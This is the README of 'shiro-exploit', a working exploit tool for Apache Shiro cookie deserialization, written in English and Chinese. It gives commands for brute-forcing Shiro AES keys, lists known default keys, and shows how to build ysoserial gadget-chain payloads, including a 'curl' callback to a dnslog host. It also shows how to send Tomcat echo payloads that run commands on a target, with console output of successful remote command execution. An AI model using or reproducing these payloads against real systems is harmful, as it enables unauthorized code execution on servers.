shiro-exploit
for AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM'
pip3 install pycryptodome
Usage:
python3 shiro-exploit.py mode arguments
You Can Change Default Key and Ysoserial Path at The Top of File
For Most Usage: [-u url] Will Send Payload To Target URL
Left it Empty to Genereate Payload and Exploit Manual
[-k key] Will Encrypt Payload With Specific Key
Left it Empty to Use Shiro Default Key kPH+bIxk5D2deZiIxcaaaA==
[-v version]Will Encrypt Payload to Specific Shiro Encrypt Version
if Shiro Used AES-CBC Set -v to 1 , if Shiro Used AES-GCM Set -v to 2 , or Left it Empty to Use Default 1
Those arguments is Not Necessary , Change it If You Need
Sample:
python3 shiro-exploit.py check -u http://127.0.0.1 Auto Detect Shiro Key For Version 1 And Version 2
python3 shiro-exploit.py check -u http://127.0.0.1 -v 1 Auto Detect Shiro Key For Version 1
python3 shiro-exploit.py check -k zSyK5Kp6PZAAjlT+eeNMlg== Genereate Check Specific Key Payload For Version 1 and 2
python3 shiro-exploit.py check -k zSyK5Kp6PZAAjlT+eeNMlg== -v 2 Genereate Check Specific Key Payload For Version 2
python3 shiro-exploit.py yso -g URLDNS -c "http://xxx.dnslog.pro" -u http://127.0.0.1 -k zSyK5Kp6PZAAjlT+eeNMlg== -v 1 Send Ysoserial Payload to Target URL
python3 shiro-exploit.py yso -g URLDNS -c "http://xxx.dnslog.pro" -k zSyK5Kp6PZAAjlT+eeNMlg== -v 1 Genereate Ysoserial Payload
python3 shiro-exploit.py echo -g CommonsCollectionsK1 -c "ifconfig" -u http://127.0.0.1 Send Tomcat Echo Payload To Target URL
python3 shiro-exploit.py echo -g CommonsCollectionsK1 -c "ifconfig" -k zSyK5Kp6PZAAjlT+eeNMlg== Genereate Tomcat Echo Payload
python3 shiro-exploit.py encode -s ./cookie.ser -u http://127.0.0.1 Encode Serialize File And Send to Target URL
python3 shiro-exploit.py encode -s ./cookie.ser -k zSyK5Kp6PZAAjlT+eeNMlg== Encode Serialize File For Exploit Manual
新版本Shiro(>=1.4.2)采用了AES-GCM加密方式，导致旧版工具的加密算法无法正常利用漏洞
重构脚本增加了对于新版Shiro的key爆破和漏洞利用支持，前提为新版Shiro在代码中指定了较常见的key或通过任意文件读取下载到了key，如代码中没有指定则会使用随机key，无法进行利用
旧版链接：https://github.com/Ares-X/shiro-exploit/old/shiro.py decode.py 和 ndecode.py 为新旧版本shiro的解密脚本
对于大部分功能存在三个可选参数：
-v 参数可指定shiro的版本，CBC加密版本 Version 为1 ，GCM加密版本 Version 为2 (目前最新为GCM) 如不指定默认为1
-u 参数可将payload发送至指定url，如不指定url将输出base64编码后的payload用于手工利用
-k 参数可指定shiro加密所用的key，如不指定将使用默认key kPH+bIxk5D2deZiIxcaaaA== 可修改文件头部的key来更换默认key
如需配合ysoerial使用请在脚本中更改yso_path的路径指向本机对应的ysoserial.jar,或将ysoserial.jar 放至脚本同目录下
Shiro key检测，无需dnslog平台
爆破Shiro key，如不指定版本 -v 将自动尝试两个版本的爆破
python3 shiro-exploit.py check -u http://xxx/
或指定Shiro版本
python3 shiro-exploit.py check -u http://xxx/ -v 2
获取指定key的check数据
python3 shiro-exploit.py check -k <key>
编码/发送序列化数据作为payload
python3 shiro-exploit.py encode -s ./cookie.ser -u http://xxx/
获取Payload编码内容
python3 shiro-exploit.py encode -s ./cookie.ser
配合ysoserial生成Payload
python3 shiro-exploit.py yso -g CommonsCollections6 -c "curl xxx.dnslog.cn" -u http://xxxx/
获取Payload编码内容
python3 shiro-exploit.py yso -g CommonsCollections6 -c "curl xxx.dnslog.cn"
生成回显Payload,无需指定Command
默认命令为whoami,可在生成的Payload的header中修改testcmd对应内容
内置xray的6条tomcat回显链
[CommonsCollectionsK1/CommonsCollectionsK2/CommonsBeanutils1/CommonsBeanutils2/Jdk7u21/Jdk8u20]
python3 shiro-exploit.py echo -g CommonsCollectionsK1
发送回显Payload,可指定Command
不指定command默认为whoami
python3 shiro-exploit.py echo -g CommonsCollectionsK1 -u http://127.0.0.1:8080/login -c ifconfig╰─➤ python3 shiro-exploit.py echo -g CommonsCollectionsK1 -u http://127.0.0.1:9080/login -c "ip addr" 2 ↵
Congratulation: exploit success
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
link/ipip 0.0.0.0 brd 0.0.0.0
3: ip6tnl0@NONE: <NOARP> mtu 1452 qdisc noop state DOWN group default qlen 1000
link/tunnel6 :: brd ::
19: eth0@if20: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
攻击最新版AES-GCM加密的shiro
╰─➤ python3 shiro-exploit.py echo -g CommonsCollectionsK1 -u http://127.0.0.1 -v 2 -k zSyK5Kp6PZAAjlT+eeNMlg== -c ifconfig
Congratulation: exploit success
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
inet 127.0.0.1 netmask 0xff000000
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
ap1: flags=8802<BROADCAST,SIMPLEX,MULTICAST> mtu 1500
options=400<CHANNEL_IO>
ether 3a:81:7f:08:7b:ce
media: autoselect
status: inactive出现Congratulation说明存在漏洞，无法获取命令执行结果可能因为命令有误,请更换命令或复制到burp手动利用查看回显